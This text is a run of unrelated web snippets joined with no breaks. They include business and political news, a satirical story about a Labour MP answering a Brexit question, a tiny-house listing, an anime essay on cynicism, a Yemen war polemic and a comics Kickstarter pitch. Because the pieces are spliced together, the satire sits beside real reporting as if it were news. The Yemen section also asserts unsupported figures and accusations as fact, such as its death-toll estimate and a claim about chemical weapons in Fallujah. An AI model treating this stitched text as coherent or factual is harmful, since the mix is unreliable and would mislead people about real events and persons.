The company that will buy Toshiba Visual Solutions has a bit of a rumored checkered past as well. Hisense happens to be the same company that Japan’s Sharp Corp. sued this past June in San Francisco courts. In the suit, Sharp alleged Hisense sold subpar Sharp TVs that devalued the brand, falsely advertised the screen size and brightness of Sharp branded TVs, and produced TVs that emitted harmful excess radiation. Sharp ultimately dropped the lawsuit.
John Lime, Labour Member of Parliament for Manchester North, was taking questions from a number of local people in his community when the blunder struck.
“I think I caught him off guard.”, said Jane Draw, the lady that asked the question. “There were people firing remarks at him left right and centre, for some strange reason he turned around to me and said ‘No’ we were all absolutely gobsmacked.”
“What I said to him was ‘Do you support a hard Brexit?’ I was fully expecting him to go off on a tangent about Syrian refugees or Cheetos or something, but instead he just straight up answered.”
“The crowd went deadly silent. His face went a ghostly shade of white, he knew exactly what he’d done.”
There were rumours that John Lime was then briskly wisped off back to party HQ and when contacted, the Labour party confirmed that he had indeed been taken in for further ‘Training on sidestepping the question.’
Spokesperson for Labour, Amy Child’s said, “We’re all extremely upset with Johns conduct today. John is a seasoned politician and should know better when it comes to alienating the general public.”
“The Labour party has a strict policy of sidestepping the mark and filling the airtime with jargon. Therefore we neither agree nor disagree with any question posed to us.”
Including the 55-square-foot loft, Version.2 has a total of about 215 square feet of living space.
It was built with FSC tongue and groove cedar siding, metal siding, triple-pane Northern Windows, steel stud construction, spray foam insulation, Energy Shield wrap, low-VOC wood finishes and paint, a Sun-Mar composting toilet, GE propane range, Kohler sink, Pegasus shower, tankless water heating, Ecoheat electric baseboards, Broan ventilation, LEDs, dimmable CFLs, birch plywood and ultralight drywall finishing, etc.
Leaf House is selling sold Version.2 for $44,500 . Check it out here.
A bill raising the state’s minimum wage to $10 an hour cleared a legislative committee last week, creating the possibility of a vote in the Senate on the first minimum wage hike in four years.
The bill, filed by Sen. Marc Pacheco, could give Massachusetts the highest minimum wage in the U.S. It proposes to phase in the increase over three years. The current minimum is $8 an hour. The labor and workforce development committee voted to endorse the bill last Tuesday.
“There are thousands upon thousands of working-class folks out there trying to do the right thing and not taking advantage of our welfare system,” said Pacheco, a Democrat from Taunton. “They’re out there playing by the rules and working and they don’t have a wage base that’s allowing them to meet their needs.”
Pacheco said he would not be surprised if it took another year or more to build support for an increase. He said if the bill, which has had strong support from the Massachusetts AFL-CIO, did come up for a vote he would expect the July 1, 2013, implementation date for the final increase to be modified.
Business groups warn that raising the minimum wage at this time would cripple efforts to stimulate job growth, hurting the prospects of adding summer jobs for teens and putting small businesses at an even greater disadvantage to other states and online businesses.
“We need to be focusing on growing jobs and growing payroll, not encouraging employers to reduce payroll by hiring less people and reducing hours,” said Jon Hurst, president of the Retailers Association of Massachusetts.
Answering a question from an audience member during a town hall in Grand Rapids, Michigan, the Indiana governor said a Republican win in the fall will lead to changes in the nation's highest court.
"(I) couldn't be more proud to be standing shoulder to shoulder with the next pro-life president of the USA," Pence told the southwest Michigan audience. "I believe we'll see Roe v. Wade consigned to the ash heap of history where it belongs."
The immediate balance of the Supreme Court does hang in the balance because Republicans decided earlier this year not to hold hearings for President Barack Obama's pick to replace Justice Antonin Scalia, noted The Washington Post.
Scalia, a strong conservative, died in February and Obama nominated U.S. Appeals Court Judge Merrick Garland to replace him. The court has had eight justices since Scalia's death.
"While we're choosing a president for the next four years, this next president will make decisions that will impact our Supreme Court for the next 40," Pence said, according to the Los Angeles Times.
"Go tell your neighbors and your friends, for the sake of the rule of law, for the sake of sanctity of life, for the sake of our Second Amendment, for the sake of all our other God-given liberties, we must insure the next president appointing justices to the Supreme Court is Donald Trump."
Pence has been a long-time abortion foe, offering an amendment in 2011 while a member of the U.S. House to defund Planned Parenthood because it provides abortions, noted the Post.
As governor, Pence signed a new abortion ban in March denying the procedure to women who wanted to end her pregnancy because the fetus had an abnormality.
"I sign this legislation with a prayer that God would continue to bless these precious children, mothers and families," Pence said of the bill.
Fuji Rumors are reporting that a “trusted source” has told them it will be “definitely more affordable” than Hasselblad’s new X1D.
There’s been talk about Fuji releasing a medium format mirrorless camera for a little while now and the current thinking is that a new camera would contain the 50MP Sony medium format sensor. Given the recent X1D announcement, and with DSLRs like the Canon 1DX Mk II, I would say it’s probably a good bet that one’s true if it expects to compete.
We know that Sony produce a 50MP medium format sensor, and rumours of a Sony powered Fuji have been brought up before. Let’s hope they finally come to fruition.
If the rumour mill is to be believed, a new Fuji mirrorless medium format camera could be announced at Photokina in September, along with three new lenses. If that happens, we’ll be there, so you can bet we will be getting hands on for a sneak look for those that couldn’t make it.
Price has obviously not been announced, but if the source is accurate and it will be “definitely more affordable” than the X1D, then we can expect it to cost less than $8995. It will be interesting to see if a mirrorless medium format at a lower price point will have any impact on the cost of higher end DSLRs as some choose to jump ship.
It’s nice to see a new market in the camera world starting to emerge. We’ve not had one for a while. Mirrorless has never really appealed to me much in the past, but in combination with a larger sensor, at a similar price to a high end DSLR… Yeah, I could see that swaying me.
While tremendous progress has been made in battling the epidemic, the number of newly diagnosed cases among young people in Wisconsin has doubled since 2005, according to the state Department of Health Services.
Thursday marked World AIDS Day. Ronnie Grace, coordinator for HIV & STI Prevention with Diverse & Resilient, an LGBT public health organization based in Milwaukee, was out at a local Boys and Girls Club reminding people that while more people today are now getting treatment than ever before, there's still more work to do. He added that it's largely the same issues that are preventing progress.
"Issues around disclosure, issues around stigma, which is huge in our community," he said. "There's the access to care portion that we're still trying to manage. And just overall access to housing, all of those things kind of figure into whether or not people take care of themselves, go in and get tested, stay in treatment and care."
Grace said HIV diagnoses are disproportionately affecting people of color, homosexual men and transsexual women. He added that too many cases are concentrated in the Milwaukee area.
According to state Department of Health Services, 5,535 people in Wisconsin were living with diagnosed HIV in 2013; of those, 80 percent were men, 37 percent were African-American, 13 percent were Latino and 45 percent were white.
There were 230 new HIV diagnoses in 2014, and 225 new cases in 2015.
Medical advancements have brought relief, said Grace. New medications have come onto the market that are less toxic, and in some cases, are able to be taken after being exposed to the virus, much like the morning after pill.
"We have so many people who don't feel like they're at risk for HIV, they're not going in to get tested because they think that's not me, I'm not doing those kinds of things," Grace said.
Being ISIS generally speaking means never having to say you’re sorry, and the group has no real allies so it generally doesn’t come up. That ISIS felt the need to apologize to Israel for the brief clash, which had no Israeli casualties, speaks volumes about the group’s position.
Ya’alon revealed this apology in the context of comments about Israel’s policy in Syria, and its repeated airstrikes against Syrian military targets whenever any cross-border fire is reported has led Syria to repeatedly complain that Israel is a de facto ally of the rebels.
It appears ISIS may see things this way too, at least for now. Despite ISIS making public statements playing up their animosity toward Israel, and their ideology clearly positioning them as an enemy, they likely see Israel as an ally of convenience.
Israeli officials have largely treated ISIS the same way, as while they sometimes express public concerns about the rise of ISIS, they have already repeatedly made clear that they prefer Syria to end up under the control of ISIS instead of being an ally to Iran.
The inmates changed the number above a cell to the number that identified the door leading outside the jail. So when an inmate asked a young, inexperienced jailer to let him into his cell, the jailer was fooled into opening the outside door instead.
The group then fled, throwing off their orange uniforms and using blankets to climb over a fence topped with razor wire on Sunday evening.
"It may sound crazy, but these people are crazy like a fox," Walker County Sheriff James Underwood said at a news conference in Jasper.
Inmates "scheme all the time to con us and our employees at the jail," Underwood added. "You have to stay on your toes. This is one time we slipped up. I'm not going to make any excuses."
The sheriff said the inmates "went off in every direction," but all but one were captured within eight hours, and the sheriff said he hoped the last prisoner would be back in custody by the end of the day Monday.
The 11 were arrested without violence, and the only person seriously hurt was an inmate who sliced his thumb climbing over the fence, the sheriff said.
The fugitives were between 18 and 30, facing charges ranging from disorderly conduct to attempted murder.
A manhunt continued for the last fugitive, Bradley Andrew Kilpatrick, 24, of Cordova, who had been jailed on charges of possessing marijuana and drug paraphernalia. That search was getting some airborne help from a state helicopter.
Underwood estimated that the inmates had cleared the barbed wire fence in less than 10 minutes.
"They took advantage of a young fellow that hadn't been here very long" and who had to monitor 150 inmates at a time, the sheriff said. They apparently saved peanut butter from food regularly served at the jail.
I've also been watching The Melancholy of Haruhi Suzumiya, the show which more or less put cynical, genre-savvy protagonists on the map. Its protagonist Kyon is too wise to believe in fairy tales, but is constantly dragged into them in spite of all his efforts. It is impossible to escape Kyon's voice in that show - his wry, fatigued commentary looms over every adventure, deflating fantastical ideas like aliens and espers with cheap quips and sighs. Kyon's loud cynicism is one of the principal forces in Haruhi Suzumiya.
And yet, ultimately, I don't think Girlish Number, SNAFU, or Haruhi Suzumiya are truly “cynical shows.” I've seen cynical shows, plenty of them, and I can't say I'm generally a fan. True show-based cynicism requires a skepticism about the world that feels almost incompatible with inspiring fiction, and I'm a person who loves all that inspirational hoo-ha. But I also think the benefits of optimistic fiction go beyond “makes you feel good,” and that assessing the world with a cynical eye truly handicaps the stories you can tell. So let's start with those Watari properties, and hopefully wander our way towards some not-so-cynical points.
The Nature of a Cynical Narrative
It'd be easy to dismiss a show like Girlish Number or SNAFU as cynical or self-satisfied. Both of them feature protagonists who think they know it all, and who are never short of a dismissive line to keep them from growing as people. But as I discussed last year, there's a clear distinction in SNAFU between the perspectives of Hachiman the grump and SNAFU the show. Hachiman is a cynic, and his voice dominates the show, but SNAFU itself does not agree with his cynicism. That may seem like a cop-out, so let's explore that a bit more: how do we separate the worldview of a show's characters from the nature of the world they inhabit?
It's easy to diagnose a character's cynicism - everything of them that “exists” is expressed through their actions on-screen. Hachiman is cynical because he constantly talks about the failings of himself, those around him, and society at large. Chitose is cynical because she sees her industry as a stupid game, and everyone she interacts with as two-faced people putting on the same professional act that she is. But even here, there's a nuance in divining exactly how characters look at their world. Kyon is the key example there - though he constantly makes cynical commentary about Haruhi's enthusiasm, the fact that he follows her at all is reflective of the fact that he himself cannot give in to cynicism, and wants to believe in the same exciting things she wants to. Sometimes characters lie to us, and sometimes they lie to themselves - it's up to us as viewers to take into account their words, actions, and position in the world, if we want to engage with them as the hopefully multifaceted characters they are.
When it comes to diagnosing a show's cynicism, things get a little more complicated. It is easy enough to see that the cynicism of Hachiman is not the cynicism of SNAFU, because his words and deeds are constantly contradicted by the world around him. Hachiman believes he has figured everyone out, and that the world is a selfish and cruel place - but he is wrong in those beliefs (or at least his creator believes he is wrong), and the show constantly punishes him for them. SNAFU literally stars an adult character who exists largely to chastise Hachiman and push him towards the “right path,” and by the end of the second season, he has broken down in tears over the limits of his philosophy. At his lowest point, Hachiman tearfully admits he wants “the real thing,” meaning relationships more honest than the cynicism he's built as a shield.
The trajectory of SNAFU's narrative makes for an easy separation of character psychology and author psychology. Hachiman starts out reasonably self-assured, but the nature of his world goes so against his own philosophy that he's eventually chastened. Therefore, when seeking a show that actually is cynical, you have to look not just to the characters themselves, but to the world they inhabit. What beliefs are supported by the universe itself? What is considered a universal truth? What assumptions about the world are never meaningfully questioned?
Genre and Attitude
Attack on Titan is a fine example of a reasonably cynical show. Titan exists in a downtrodden world, where humanity is on the brink of extinction, and all of its narrative turns enforce both the hopelessness of this situation and the weakness of mankind. This is intentional, and not necessarily a bad thing - Titan is attempting to create an oppressive tone, and so cynicism works for its goals. Optimistic characters are punished in Titan, and the only law that's revered is “survival of the fittest,” something made clear in the words of its most valued characters. Single characters aren't the ones who dictate Titan's worldview - it's the world itself that conveys that perspective, clear again and again in the cowardice of its common people, and the viciousness of its bloodshed. At times the show kinda bangs you over the head with this perspective, like when the geese that represented one character's introduction to "survival of the fittest" are later used to emphasize that we must kill and eat to survive.
Bloody action shows are often quite cynical in their worldview. This makes sense in terms of their storytelling; it's hard to stay positive when everyone around you is dying, and worlds that posit violence as the only answer to their conflicts are inherently cynical ones. It also makes sense in terms of audience - ultraviolence is very popular among teenage audiences, and teenage audiences tend to be more overtly cynical than either their younger or older counterparts (like good old Hachiman himself). When you believe you've figured everything out, and yet people still don't agree with you, expressing your will through violent force is the cynic's answer to the multiplicity of human perspective.
Shows that followed in the Haruhi Suzumiya “Kyon-voice” style are also often cynical. While Kyon's cynicism betrayed an underlying desire for a fantastical world, many of the protagonists who've followed him are simply genre-savvy as heck, commenting on the anime-style events around them as they're happening. Shows for children tend to be earnest and direct in their values, but once that style no longer appeals to you, the next step is often simply to comment on the artificiality of traditional storytelling. This can easily provide an immediate rush of validation for the audience, since it echoes that audience's own genre awareness, but this style ultimately makes it much, much harder to believe in the worlds these characters inhabit. Characters and audiences are not “above” caring about invented stories - they simply need stories worthy of their emotional investment.
The Primacy of Authorial Voice
At this point, you might be asking yourself “why does the authorial perspective even matter?” And that's a very reasonable question! We only tend to drop shows because of authorial perspective specifically in extreme cases - when a story is so focused on imparting a specific message that it becomes more of a lecture, or when the author's views on women or minorities or some political topic are so distancing that we can't enjoy the story being told around them. And this is a threshold that varies for everyone, meaning the female-focused fanservice that is the background radiation for so much anime is itself one more expression of “authorial voice,” and one that seriously limits much of anime's broader appeal. If you feel the worldview of a show is constantly demeaning you specifically, it's perfectly understandable to seek better uses of your time.
But even setting aside the clear cases, authorial voice still naturally impacts our relationship with shows. Individual characters are often wrong, and heroic characters will either learn from their mistakes or suffer from them. But what decides which of their actions are “mistakes” in the first place is the authorial view. Things like “stealing is bad” and “be good to your friends” aren't universal truths - they are beliefs most of us have internalized to the point where they come across as obvious lessons in fiction. Things like “the world is an uncaring place” are also values that can be internalized, and values like that will be strongly apparent in any fiction you create. This is clear in more didactic productions, like The Irregular At Magical High School, which essentially acts as a mouthpiece for its author's libertarian politics. Ultimately, what we can learn from stories is inherently tied to what we can learn from the worldviews that are offering them. Which brings me to my own relevant belief: that shows which wholly embrace cynicism rarely have much to tell us about the world.
Believing in the Unbelievable
Cynicism implies doubt about the world around you. Doubt about people specifically, in that you believe others act for self-interested reasons, but also doubt about the world itself's ability to surprise you. It's often used as a shield against being hurt (key to its eternal popularity among adolescents), and it can work quite well in that way - if you expect the worst of people and events, you'll never be let down. But when it comes to fiction, cynicism on the part of either author or audience can often be a fatal flaw. Cynicism protects us by telling us we already know things, and thus closing us off from new experiences. When we distrust everything, we engage honestly with nothing. And when we write stories from a cynical perspective, we only discover things we already know.
Empathy lies at the heart of strong character writing. We do not live in a world where everyone takes actions purely because they're stupid or selfish or trying to be cruel - we live in a world of complex and contradictory motivations, where nearly everyone is trying to “do their best” in the ways they find most appropriate. Some people are ruled by their fears, but that does not dictate the entirety of their possible actions. Others are gallant or funny or self-aware, but not always, and not with everyone. Every real person contains multitudes, and if you want to write or engage with satisfying characters, you have to embrace that complexity. We must be kind to our characters, because only then do they become human.
One of the great strengths of fiction is that it can illustrate the fundamental humanity of people totally unlike ourselves, in situations utterly foreign to us. Fiction can challenge us with new perspectives partially because it is fiction - it is “safe” in that way, a realm of discovery where we can explore worlds and viewpoints unfamiliar to us with no threat of consequences. A sensitive, earnest, and motivated author can bring nearly any perspective to life, teaching us something new about our collective humanity in the process. Even when it comes to simple characters, approaching them with an open hand results in far more humanity than the alternative.
If you assume the worst of something as a member of the audience, you won't dig any deeper - if you assume the worst as a writer, you won't write any deeper. Cynical depictions of characters unlike the author tend to result in flat characters, because the author doesn't believe those characters really do contain multitudes. And it's this defensive quality of cynicism that makes fundamentally cynical works so often unsatisfying - instead of leading us to unimaginable people and places, they simply validate one author's unhappy assumptions about the world.
The USA, according to Defense Secretary Jim Mattis, he who ordered the use of chemical weapons in Fallujah, Iraq, is about to take a major step towards direct intervention in support of the Saudi Arabia war on the Yemeni people.
According to Jeffrey St. Clair, Editor of Counterpunch, this war has already seen 90,000 Saudi airstrikes on Yemen, or one every 12 minutes, 123 a day for two years now. With direct US military involvement it will only get worse for the USA has been limiting its involvement to fueling, arming and target selection for the Saudi military.
The UN and the international media claim only 10,000 or so deaths in Yemen but this just doesn't add up. If there have been 90,000 airstrikes that means that only one Yemeni is killed for every 9 strikes? They must take us for idiots, or more likely, just to ignorant and brainwashed to know better.
One airstrike is a big deal, for it involves the use of several thousand kilograms of high explosives, enough to incinerate an entire village. And then there are the cluster bombs in their thousands, and the hundreds of markets bombed…so if only 2 Yemenis have been killed per air strike then we are talking upwards of 180,000 dead Yemenis and counting.
Doesn't this match the toll for the first two years of the US invasion of Iraq in 2003 and isn't just going to get worse with US involvement? There is a huge crime being committed in Yemen and the UN and its cronies in the so called “human rights movement” are helping cover it up with their ridiculous death statistics.
Never mind the tens of thousands of Yemeni children already dead and buried from the US backed Saudi enforced starvation blockade of food and medicine to the Houthi homeland.
The US has to protect its national interests in controlling the Bab Al Mandab chokepoint between the Red Sea and Indian Ocean through which passes the trade of the two biggest international partners, Europe and Asia.
The US may have become a second tier trading partner but militarily “Mad Dog” Mattis is not going to sit by and lose control of the region. The US has a airbase in near by Djibouti and most likely planning permanent bases in Yemen to aid the incoming onslaught of US military might.
Already moves are underway to increase direct US military involvement in Somalia, the other key link in controlling the “Gate of Tears”. First comes Mad Dog Mattis calling for an increase in airstrikes, then on the ground coordinators, “training officers” and in the end, direct military intervention by the US, as Somalia itself continues to be rocked by insurgency and famine. What possible good can come from an aerial onslaught on the Somali people by the American Luftwaffe, who so called “smart bombs” seem to inevitably find targets containing Somali women and children.
Famine to the left of Bad Al Mandab, famine to the right of Bad Al Mandab, it seems a famine policy is being enacted by Pax Americana and its lackeys at the UN when it comes to the Horn of Africa.
So expect no mercy when it comes to the US military directly involving itself in Yemen. Drone strikes will continue, most likely based directly in Yemen, though does Pax Americana really want to give ISIS and Al Qaeda an available target by putting American boots on the ground in Yemen?
And always off shore lurks the the US Navy’s Indian Ocean Fleet and its base at Diego Garcia, striking without warning anywhere they choose in Yemen, never mind the dead women and children by now in the hundreds of thousands. Many tens of thousands of new airstrikes, so many that the munition makers in the US are putting on 24 shifts. The US airbase at Camp Lemonierre in Djibouti will be ramping up operations and the US will be taking out of mothballs their bases in Saudi Arabia. It is as if the War on Iraq is being fought all over again, except this time against the poorest, hungriest of the Arab peoples, the Yemenis.
Saudi Arabia is stuck in a quagmire in Yemen, easy to get into and very difficult to get out of, just as Egypt did in the 1960’s, what President Nasser was to call “Egypts Vietnam”. The US recognizes that fact that the Saudi war is going nowhere, with out a single major objective recaptured since the start of the war. Al Qaeda and ISIS are growing in strength, taking advantage of the vacuum of power existing in the Sunni communities in Southern Yemen who are actually fighting for independence. The so called “Government” of Yemen, if you can call a government based in a foreign country any such thing, is little more that a mouthpiece, with no effective fighting forces on the ground in southern Yemen thanks to the Saudis failing to provide the salaries of its fighters. No pay, no way, their families have to eat so its back to doing whatever it takes to buy food for their wives and kids and that was the end of “Governments” army.
So its South American mercenaries guarding the UAE facilities, Saudi troops and a handful of Sudanese troops caught between the battle hardened Houthi fighters and their allies in the Yemeni army loyal to former President Saleh and Al Qaeda and ISIS with all hell to pay.
What is the US going to do, sit back and watch their strategic partner in West Asia, or asset really, the Saudi’s, stuck in a swamp of their own making with no apparent way out?
The USA seems intent on going where history has proven only catastrophe awaits, into the tribal conflict in Yemen. As a result the world should expect half a million or more dead Yemenis in this war against the Houthi tribes and their supporters as well as untold starvation deaths of Yemeni children.
But no matter the unimaginable suffering the Yemen people suffer, their tribal differences must be put aside, as in reunification in 1990, and lift themselves out of the failed state they exist in today. There are those who do not want this to happen, for crisis management is the policy of the USA when it comes to the Horn of Africa, as in help create a crisis the better to manage control of such an international critical choke point, the Ban Al Mandab. The USA prefers chaos to a strong, independent Yemen able to interfere in Pax Americana’s control of the Gate of Tears.
In July, U.S. District Judge David Bunning ordered Kentucky to pay $222,695 to the attorneys of April Miller and others, after they won a favorable judgment against Davis. Bunning also awarded an additional $2,008 in other costs.
Gov. Matt Bevin and Terry Manuel, commissioner of the Kentucky Department for the Libraries and Archives, appealed the ruling, claiming the fees should be assessed against Davis and the Rowan County Clerk’s Office.
The governor and commissioner, who were third-party defendants in the case, argued that Davis did not represent Kentucky when she acted against the U.S. Supreme Court’s 2015 ruling in Obergefell v. Hodges because her behavior was not directed or approved by any state official.
Bunning once again found the argument unpersuasive, and rejected the appeal on Monday.
“The Commonwealth of Kentucky is liable for plaintiffs’ attorneys’ fees and costs because defendant Kim Davis acted on behalf of the Commonwealth when she refused to issue marriage licenses,” the judge wrote in his 14-page decision.
He continued, “At most, third-party defendants have simply—and improperly—re-argued matters that have previously been decided. That third-party defendants wish to avoid liability for plaintiffs’ attorneys’ fees and costs hardly renders the circumstances extraordinary.”
Davis became national news in the summer of 2015, after she refused to issue marriage licenses to same-sex couples. The saga resulted in Davis being jailed for several days after she was found in contempt.
She has claimed her beliefs as an Apostolic Christian prevented her from issuing the licenses.
In the months and years following her actions, Davis has been at the center of numerous legal proceedings. In September, Bunning ruled that two lawsuits from same-sex couples seeking damages could proceed against the clerk, but only in her individual capacity.
Despite these legal setbacks, Davis has continued her crusade against gay rights and recently visited Romania, where she advocated against gay marriage. Same-sex marriage is currently not legal in Romania, but some conservative politicians there want to specifically ban it via a constitutional amendment.
Her trip to Romania was sponsored by the Liberty Counsel, a conservative American legal group, who has also provided legal counsel for Davis in the past.
According to a CNN report, Scaramucci was “hoodwinked” by an email prankster who was “pretending to be Ambassador to Russia-designate Jon Huntsman Jr.”
“Who’s (sic) head should roll first?” the fake Huntsman reportedly asked the real Scaramucci in a Friday email before Trump announced that he was replacing Priebus with former Homeland Security Chief John Kelly. “Maybe I can help things along somewhat.”
The real Scaramucci responded, “both of them,” apparently referring to Messrs. Priebus and Bannon.
Three days later, new White House Chief of Staff John Kelly axed Scaramucci after the first week of his one-man reality show, which included a profane and off-the-rails interview with the left-wing New Yorker magazine, raised numerous red flags.
Bannon and Priebus reportedly tried to block Scaramucci from getting the White House communications director job in the first place while Jared Kushner and Ivanka Trump supported Scaramucci.
Scaramucci should have realized that the email did not sound like the genteel Huntsman who is known for talking about the “trust deficit.” In fact, Huntsman himself was reportedly tricked by the prankster with a fake Eric Trump email account after Trump announced that he had chosen the former Utah governor and failed 2012 presidential candidate to be his ambassador to Russia.
Huntsman reportedly replied to the prankster, “Thanks for the thoughtful note. Russia will be a challenging but no doubt rewarding assignment.”
Thank you! Thank you SO MUCH! See you again in August!
12 HOURS LEFT!
Pledge $5,001., noted comics creator Kurt Busiek eats a REAL bug!
A second wave of 40 copies of THE GARLICKS hardcovers have been added at the $40 reward level! They will be unnumbered, but will be signed and sketched, like all copies of THE GARLICKS.
A LIMITED run of 10 THE GARLICKS Kurt Eats a Bug hardcovers are available at the $70. level. You'll get a signed hardcover with a custom drawing of Kurt Busiek eating a bug, mini-prints, a PDF of THE GARLICKS, and a sticker!
The FINAL wave of the popular PANDORA'S KIT is ready: a customized pencil bag with pencils, a blank moleskine, a copy of THE GARLICKS trade paperback, mini-prints, and a PDF of THE GARLICKS. Get yours at the $80. pledge level!
Finally: if you've already pledged at $25. and up and want a sketch of Kurt Busiek Eating a Bug in your copy of THE GARLICKS, just add $15. to your existing pledge! Simple!
INCENTIVE UNLOCKED! $12,000. Goal Reached! New THE GARLICKS print signed by KURT BUSIEK!
TRUE! Kurt Busiek, creator of ASTRO CITY, writer of JLA/AVENGERS and MARVELS, has committed to eating a bug per pledge to THE GARLICKS!
This bug-eating support is depicted in a print of my painting of Kurt, which is SIGNED BY KURT and me, plus a (depending on level) a PDF, THE GARLICKS collection, mini-prints, etc. There's even a possibility of Kurt eating a REAL bug, if the price is Right. (The right price is probably $3,000., the right place at Emerald City Comic-Con.)
Shoot, I'll eat a bug if THE GARLICKS makes its funding goal!
In his words:
"I want THE GARLICKS to happen. I want that book. I want it so bad, I'm willing to eat a bug to get people to support it.
I call this the Renfield Strategy. Entirely fitting, for a graphic novel about vampires, I'd say. And hey, now you can have my bug-eating claims immortalized! An original sketch of me eating whatever kind of bug you want, as drawn by Lea in your own copy of THE GARLICKS! Stinkbug, goliath beetle, pillbug -- drive Lea mad, looking up reference!"
At $20., $30. and $40. pledge levels, you'll get a signed print of the above art along with (depending on level) a PDF, a softcover book, the mini-prints, etc!
At $50., The BIG BUG PACKAGE, you get a custom sketch of Kurt in your copy of THE GARLICKS eating the bug of your choice, the signed Kurt Eats a Bug print, the mini-prints, and so on!
INCENTIVE UNLOCKED: THE GARLICKS Limited Edition Hardcover!
Kickstarter EXCLUSIVE: THE GARLICKS: Pandora Orange, Fail Vampire HARDCOVER LIMITED EDITION! This hardcover will have a tipped-in plate that is signed and numbered, and a sketch in the book. The edition number is determined by when the backer pledges, so get in early! It also comes with a PDF copy of THE GARLICKS and a sticker! There's only 10 left at the $40. level, so grab one while you can!
INCENTIVE UNLOCKED: Custom Sticker added at ALL Pledge Levels!
All pledge levels from $5. to redonkulous will get a custom THE GARLICKS sticker of (likely) Fishbat. It'll be about 3" x 3", suitable for your bumper, laptop or sibling!
---------<----@ @--->--------Old Skool!
I'm Lea Hernandez, and I need your help to fund the production and printing of my sixth graphic novel, THE GARLICKS: Pandora Orange, Fail Vampire.
Here's what comics pros say about THE GARLICKS: "...funny, human, silly, gorgeous, sweet and smart," --Kurt Busiek (Astro City, Marvels), "Lea's stuff is terrific."-- Neil Gaiman (Sandman, The Graveyard Book),"Lovely work."--Jim Lee (artist of Justice League, co-publisher, DC Comics).
I'm an award-wining 25-year veteran of comics, creator of three graphic novels, co-creator of a fourth, artist of a fifth, not to mention stuff for Marvel, DC, Disney, Image, and Oni Press.
Become a backer and make yourself a part of this project and get recognition, books, art and more!
THE GARLICKS Pilot Story!
A pilot? Yep! The 6-page THE GARLICKS pilot is online to give you a taste of the graphic novel to come. (Right-click and "open in new tab" so you don't lose this page!)
The Webcomic, the Book, and Cool People
THE GARLICKS is story about a vampire girl, for girls. (But so far, guys have dug it a lot--I call this the My Little Pony Effect: if it's good, it's for everyone!) It's my first all-ages book, and my first creator-owned graphic novel in color. I'll be serializing THE GARLICKS, three color pages a week, over the next year as a webcomic at http://thegarlicks.net.
When Pandora's first story is complete and still piping hot, it'll be collected into a full-color print trade of 144 pages, with an introduction by Jill Thompson, incredible creator of SCARY GODMOTHER! (Who better, right?)
"The graphic novels of Lea Hernandez don't come along every day, but when they do, they're must-reads. So THE GARLICKS is cause for celebration. Charming, funny, human, silly, gorgeous, sweet and smart, all in one family-sized vampiric package -- I can't wait. And I've already been waiting longer than you. So let's get this done." Kurt Busiek, writer of Marvels and JLA/Avengers, creator of Astro City.
Meet Pandora, Fail Vampire
THE GARLICKS is told from the point of view of Pandora, a vampire with zero vampire abilities and the big sister of baby Pamila (who's usually called Ham), who seems to have gotten everything Pandora didn't, like being able to shapeshift into an adorable flying fish and eat meat.
Pandora turns to her passion, making comics, and chooses her family as her muses: the exhausting Ham, her father Vourdain, (a flower-eating barista), her mother Olive (who is butcher), and their house/business, Orange Espresso and Meats.
Pandora thinks her problems (no time to actually make comics and a lot of Ham-tastic soakings) begin when she puts a suffocating Ham (in her fishbat form) in a toilet to save her life, but things really get crazy when Pan steals a blanket (and granny panties) to hide fishbat-Pamila after one of many chases through their neighborhood. This brings them to the attention of Maxim, a boy who can see monsters, and three rock-stupid but very dangerous demon hunters.
Pan quickly finds out that the only thing worse than having no time to draw stories is having entirely too much material to draw from.
A colored page from THE GARLICKS pilot!
Presents!
Fishbat Plush Comes with an $85 Pledge!
When you look to the right, you'll see I have brewed, shaken and sweetened some great incentives! Frameable mini-prints of the characters, multiple copies of THE GARLICKS to share, a behind-the-scenes sketchbook, a gorgeous limited-edition custom courier bag (full of goodies!), roles as extras, and retailer packs, each thoughtfully prepared for you.
If THE GARLICKS goes over its funding goal (which would be incredible and call for MORE COFFEE and rose sodas for everyone), I'll unlock more incentives, do four pages a week instead of three, start the next volume or add a hardcover edition.
Be My Partner!
THE GARLICKS is now in your hands, help make it a reality! Choose a reward, pledge, and get ready for a great new book!
The Money!
Here's how your pledges for this project will be used:
First, Kickstarter and Amazon get their fees, and the IRS gets taxes. $10,000. right off the top! Snap!
The remaining $30,000. will be placed into a managed account, which can only drawn on as various parts of the project are put online, printed, purchased, mailed, painted, etc.
I'll be getting a rate of $125. a page. Wrapped up in that is writing, painting, lettering, sketching in books, administration, production work, mailing out rewards, and making my own coffee, all while I make YOU a great new book. I'm a bargain!
All the rest goes into printing a beautiful trade collection of THE GARLICKS: Pandora Orange, Fail Vampire, a perfect-bound behind-the-scenes sketchbook, incentives, and postage.
Iron Eagle‘s plot famously involves a teenage boy, Doug, who commandeers two fighter jets in order to rescue his POW father from imprisonment in a vaguely defined Middle Eastern nation. Combine a hotshot ’80s teen star (Jason Gedrick) with the esteemed Louis Gossett Jr. for high octane fun, right? The Air Force didn’t think so — it has always refused to endorse any film that depicts an aircraft being stolen for fear of copycat action. (If a devil-may-care teen can do it, why not one of America’s enemies?) As the entire plot of Iron Eagle hinges on Doug stealing a jet, this presented an obvious hurdle to the filmmakers. Solution: Turn to the more flexible Israeli Air Force.
All of the aircraft used in the film were of Israeli origin,
repainted with either the USAF symbol or fictional enemy tags. (For
example, the MIG-23s aircraft featured in dogfight scenes during the
film are actually Israeli IAI Kfirs.) And despite Doug’s proficiency
with an aircraft — he handles a Cessna with ease during an early race
scene — the Air Force still refused to give their endorsement.
(Ironically, the film would go on to be a favorite of aviation-heads
for its many aerial battles.)
In today’s sensitive climate, it would be risky for a major
Hollywood film to fly in the face of the military, especially a movie
that was competing against a rival with greater starpower. ( Top Gun , was released the same year.) But with blockbuster films facing criticism for acting like flashy recruitment videos (see Transformers),
it’s interesting to remember a time when Hollywood wasn’t actively
courting the Pentagon. Or perhaps, the Air Force just balked at
the idea of heavy metal music being blared from the cockpit of one of
their prized F-16s: Even Gossett’s sure-handed guidance couldn’t keep
Doug away from the siren song of Twisted Sister.
Ben & Jerry’s has moved to cut all glyphosate-tainted ingredients from its production chain and introduce an “organic dairy” line next year, after a new survey found widespread traces of the controversial substance in its European ice-creams.
The dramatic initiative follows a new survey by Health Research Institute (HRI) laboratories which found traces of the weedkiller in 13 out of 14 B&J tubs sampled in the UK, France, Germany and the Netherlands.
